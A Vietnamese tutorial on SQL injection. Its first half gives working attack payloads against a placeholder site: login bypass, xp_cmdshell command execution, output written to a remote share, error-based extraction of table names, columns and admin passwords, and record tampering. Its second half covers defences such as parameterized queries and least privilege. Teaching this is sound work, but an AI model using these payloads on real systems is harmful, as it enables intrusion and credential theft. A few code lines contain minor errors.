SQL Injection là gì? Blind sql injection là gì?

2948 lượt xem

SQL Injection là gì? Cách phòng chống như thế nào?

Cách tấn công mạng này đã quá quen thuộc, nhưng thực sự chưa nhiều bạn nắm rõ về SQL Injection là gì cũng như cách phòng chống sao cho hiệu quả. Bài viết này tôi sẽ đề cập về khái niệm cũng như đưa ra ví dụ và cách phòng tránh. Cùng bắt đầu nào.

1. SQL Injection là gì?

Hiểu đơn giản SQL Injection là một cách hack một website. Lúc này hacker sẽ inject các mã độc như SQL query/command vào input. Sau đó đưa vào website xử lý và hacker có thể đăng nhập vào website không cần pass hay username, remote execution (thực thi từ xa), sỡ hữu root SQL server và dump data.

Công cụ thường được sử dụng sẽ là các công cụ trình duyệt web như Internet Explorer, Lynx,..

Bài labs về SQL injection

Labs là một bài thí nghiệm. Để bạn có thể dễ dàng hình dung ra cách mà hacker sử dụng SQL Injection để hack website của bạn, bạn có thể theo dõi bài labs thông qua link dưới đây.

https://www.hacksplaining.com/exercises/sql-injection

2. Các bước tiến hành SQL Injection

2.1 Tìm kiếm mục tiêu

Mục tiêu sẽ là các trang web cho phép bạn có thể submit dữ liệu. Ví dụ là các trang web có thể login, search, gửi feedback,..

Cách xem:

http://yoursite.com/index.asp?id=10

Một số ẩn đi các tham số thông qua field ẩn, bạn phải xem qua HTML mới có thể thấy được. Ví dụ:

<FORM action=Search/search.asp method=post>

<input type=hidden name=A value=C>

</FORM>

2.2 Kiểm tra điểm yếu của trang web

Khi đã xác định được đối tượng có thể hack bạn hãy thử submit các field id,. hoặc field username, password bằng hi’ or 1=1–

Login: hi’ or 1=1–

Password: hi’ or 1=1–

http://yoursite.com/index.asp?id=hi’ or 1=1–

Nếu site bạn chọn tham số bị ẩn, hãy download source HTML của site, lưu trên ổ đĩa cứng và thay đổi lại URL. Ví dụ:

<FORM action=http://yoursite.com/Search/search.asp method=post>

<input type=hidden name=A value=”hi’ or 1=1–“>

</FORM>

Nếu bước này thành công bạn sẽ có thể đăng nhập vào mà không cần tạo tài khoản.

2.3 Lý giải vì sao “or 1=1 — có thể vượt qua phần kiểm tra đăng nhập?

Ví dụ một trang ASP được liên kết với một ASP trang khác thì chúng ta có url như sau:

http://yoursite.com/index.asp?category=cookies

Ở URL trên, biến “Category” được gán một giá trị là “cookies”. Tôi ví dụ mã ASP của trang đó sẽ như thế này:

v_cat = request(“category”)

sqlstr=”SELECT * FROM product WHERE PCategory='” & v_cat & “‘”

set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request(“category”) là ‘cookies’ và câu lệnh SQL tiếp là:

SELECT * FROM product WHERE PCategory=’cookies’

Dòng truy vấn dữ liệu (query) trên sẽ trả về một tập resultset chứa một hay nhiều dòng phù hợp với điều kiện WHERE PCategory=’cookies’

Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=cookies’ or 1=1–, biến v_cat sẽ chứa giá trị “cookies’ or 1=1– ” và dòng lệnh SQL query tiếp sẽ là:

SELECT * FROM product WHERE PCategory=’cookies’ or 1=1–‘

Dòng query trên sẽ chọn mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng ‘cookies’ hay không. Hai dấu gạch ngang (–) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “–” sẽ bị bỏ qua.

Do đó, đối với MySQL, hãy thay “–” thành “#”

Ngoài ra, bạn cũng có thể thử cách khác bằng cách submit ‘ or ‘a’=’a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’

Bạn cũng có thể thử submit một vài dữ liệu dưới xem webstie của mình có lỗi hay không:

‘ or 1=1–

” or 1=1–

or 1=1–

‘ or ‘a’=’a

” or “a”=”a

‘) or (‘a’=’a

2.4 Thực hiện lệnh từ xa bằng SQL injection

Nếu website cài đặt ở chế độ mặc định thì MS SQL sẽ ở mức SYSTEM đồng nghĩa với Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong cơ sở dữ liệu master để thực hiện lệnh từ xa:

‘; exec master..xp_cmdshell ‘ping 10.10.1.2’–

Nếu dấu (‘) không hoạt động bạn có thể thử chuyển sang dấu (“)

Dấu chấm phẩy sẽ kết thúc dòng SQL query hiện tại, lúc này lệnh cho phép thi hành một SQL command mới.

Để kiểm tra xem lệnh trên có được thực hiện không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được tín hiệu ping request từ 10.10.1.2 nghĩa là lệnh đã được thực hiện.

2.5 Nhập Output của SQL query

Bạn có thể dùng sp_makewebtask để viết các output của SQL query ra file HTML

‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”

2.6 Nhận dữ liệu qua ‘database using ODBC error message’

Bạn có thể phát hiện các thông báo lỗi của MS SQL Server để có những thông tin quan trọng. Ví dụ http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ’10’ với một string khác lấy từ cơ sở dữ liệu:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Trường INFORMATION_SCHEMA.TABLES của SQL Server chứa thông tin về toàn bộ các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong cơ sở dữ liệu. Query của tôi là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Dòng lệnh này sẽ cho bạn biết tên của bảng đầu tiên trong cơ sở dữ liệu

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION. Lúc này MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

‘table1’ to a column of data type int.

/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “table1”. Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của bảng tiếp theo, có thể dùng lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1’)–

Cũng có thể thử tìm data bằng cách thông qua statement LIKE của query SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25’–

Khi đó thông báo lỗi của SQL Server sẽ là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.

/index.asp, line 5

Mẫu so sánh ‘%25login%25’ sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login”.

2.7 Xác định tên của các cột trong table

Bảng INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các cột trong bảng. Tôi có thể khai thác như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–

Khi đó thông báo lỗi của SQL Server thường là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.

/index.asp, line 5

Như vậy tên của cột đầu tiên là “login_id”. Để lấy tên của các cột tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–

Thông báo lỗi của SQL Server có thể:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.

/index.asp, line 5

Làm tương tự như trên, có thể lấy được tên của các cột còn lại như “password”, “details”. Khi đó ta lấy tên của các cột này qua các thông báo lỗi của SQL Server, như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’,’password’,details’)–

Thông báo lỗi của SQL Server:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5

2.8 Tiến hành thu thập các dữ liệu quan trọng

Bước trên tôi đã có thể xác định được tên của các bảng và cột quan trọng. Lúc này chúng ta cần thu thập các thông tin quan trọng trong bảng đó.

Có thể lấy login_name đầu tiên trong table “admin_login” như qua dòng lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–

Thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.

/index.asp, line 5

Tôi nhận ra admin user đầu tiên có login_name là “neo”. Lúc này tôi thử lấy password của “neo” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–

Khi đó thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neomatrix’ to a column of data type int.

/index.asp, line 5

Well vậy là tôi đã có thể đăng nhập vào website với username là “neo” và password là “neomatrix”

2.9 Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của “trinity” là “31173”. Vậy nếu ta thi hành lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’–

Thì khi đó chỉ nhận được thông báo lỗi “Page Not Found”. Lý do bởi vì server có thể chuyển passoword “31173” sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’–

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của ‘+’ là 0x2b). Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo ra một string mới không phải numeric string là ‘31173 morpheus’. Khi hàm convert() được gọi để chuyển ‘31173 morpheus’ sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.

/index.asp, line 5

Và nghĩa là bây giờ ta cũng có thể login vào với username ‘trinity’ và password là ‘31173’

2.10 Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có thông tin của tất cả các cột trong bảng, tôi có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào bảng này.

Để thay đổi password của “neo”, có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘neomatpass’ WHERE login_name=’neo’–

Hoặc nếu không tôi sẽ tạo một record mới vào bảng:

http://yoursite.com/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’neomatpass’,’NA’)–

Và bây giờ có thể login vào với username “neo2” và password là “neomatpass”

3. Cách thức ngăn chặn SQL Injection

Xác nhận input

Quá trình xác nhận nhằm mục đích xác minh xem loại input được gửi bởi người dùng có được phép hay không. Xác thực input đảm bảo rằng đó là loại, độ dài, định dạng được chấp nhận, v.v. Website chỉ xử lý giá trị vượt qua xác thực.Điều này giúp chống lại bất kỳ lệnh nào được chèn khi input. Hiểu đơn giản là bạn sẽ biết ai là người gõ cửa nhà bạn vậy đó.

Việc này không chỉ áp dụng vào trường cho phép người dùng nhập dữ liệu, bạn cũng nên cân bằng:

  • Sử dụng các biểu thức thông thường như whitelist cho dữ liệu có cấu trúc (tên, tuổi, thu nhập, phản hồi khảo sát, mã zip, v.v.) để đảm bảo xác thực input của bạn mạnh.
  • Trong trường hợp tập hợp các giá trị cố định (drop-down list, radio button, v.v.), hãy xác định giá trị nào được trả về. Dữ liệu đầu vào phải khớp chính xác với một trong các tùy chọn được bạn cung cấp.

Bạn có thể áp dụng đoạn code này để thực hiện xác thực table:

switch ($tableName) {

case ‘fooTable’: return true;

case ‘barTable’: return true;

default: return new BadMessageException(‘unexpected value provided as table name’);

}

Biến $tableName sau đó có thể được nối trực tiếp.

Trong trường hợp drop down list, việc xác thực dữ liệu rất dễ dàng. Giả sử bạn muốn người dùng chọn xếp hạng từ 1 đến 5, hãy thay đổi mã PHP thành một cái gì đó như thế này:

<?php

if(isset($_POST[“selRating”]))

{

$number = $_POST[“selRating”];

if((is_numeric($number)) && ($number > 0) && ($number < 6))

{

echo “Selected rating: ” . $number;

}

else

echo “The rating has to be a number between 1 and 5!”;

}

Bạn đã thêm hai cách check đơn giản:

  • Nó phải là một số (the is_numeric() function).
  • Bạn yêu cầu $number đó phải lớn hơn 0 và nhỏ hơn 6, do vậy bạn có phạm vi là 1-5.

Truy vấn tham số (Parametrized queries)

Truy vấn tham số hiểu đơn giản là một phương tiện biên dịch câu lệnh SQL để khi cung cấp các tham số để câu lệnh được thực thi. Phương pháp này giúp CSDL có thể nhận ra mã và phân việt với dữ liệu đầu vào.

Kiểu mã hóa này giúp giảm thiểu một cuộc tấn công SQL Injection

Có thể sử dụng các truy vấn được tham số hóa với phần mở rộng MySQLi, nhưng PHP 5.1 cách tiếp cận tốt hơn khi làm việc với CSDL: Đối tượng dữ liệu PHP (PDO). PDO áp dụng các phương pháp như vậy để đơn giản hóa việc sử dụng các truy vấn được tham số hóa.

Ngoài ra, nó làm cho code dễ đọc hơn và dễ di chuyển hơn vì nó hoạt động trên một số cơ sở dữ liệu, không chỉ MySQL.

Mã này sử dụng PDO với các truy vấn được tham số hóa để ngăn ngừa lỗ hổng SQL Injection:

<?php

$id = $_GET[‘id’];

$db_connection = new PDO(‘mysql:host=localhost;dbname=sql_injection_example’, ‘dbuser’, ‘dbpasswd’);

//preparing the query

$sql = “SELECT username

FROM users

WHERE id = :id”;

$query = $db_connection->prepare($sql);

$query->bindParam(‘:id’, $id);

$query->execute();

//getting the result

$query->setFetchMode(PDO::FETCH_ASSOC);

$result = $query->fetchColumn();

print(htmlentities($result));

Ngoài ra còn có các phòng tránh khác như:

  • Escaping: luôn sử dụng các hàm có escaping. Ví dụ sử dụng mysql_real_escape_opes () để tránh các ký tự dẫn đến lệnh SQL ngoài ý muốn.
  • Tránh các đặc quyền của Admin: Không kết nối ứng dụng của bạn với cơ sở dữ liệu bằng tài khoản có quyền truy cập root.
  • Giới hạn quyền các user đụng đến CSDL của website
  • Xóa các stored procedure trong database master mà không dùng như:
    • xp_cmdshell
    • xp_startmail
    • xp_sendmail
    • sp_makewebtask
  • Sử dụng WAF (web application firewall) để bảo vệ website khỏi SQL Injection hay các cuộc tấn công bằng thủ thuật khác.

Ngăn chặn SQL Injection trong ASP.NET

Ngoài các cách thức mà tôi vừa gửi đến bạn thì trong ASP.NET có cách chặn easy hơn là sử dụng Parameters khi thao tác với object SqlCommand (hoặc OleDbCommand) chứ không trực tiếp dụng các câu lệnh SQL.

Lúc này ASP.NET sẽ tự động xác nhận kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện tiếp câu lệnh SQL.

Ngoài ra, bạn cũng cần kiểm tra các thông báo lỗi. Mặc định trong ASP.NET là các thông báo lỗi sẽ không hiển thị khi không chạy trên local host.

Như vậy là tôi đã giới thiệu cho bạn về SQL Injection là gì và lỗi SQL Injection là gì? Nếu còn thắc mắc nào về tấn công sql injection là gì? Bạn có thể tìm đọc các bài viết tiếp theo của tôi nhé.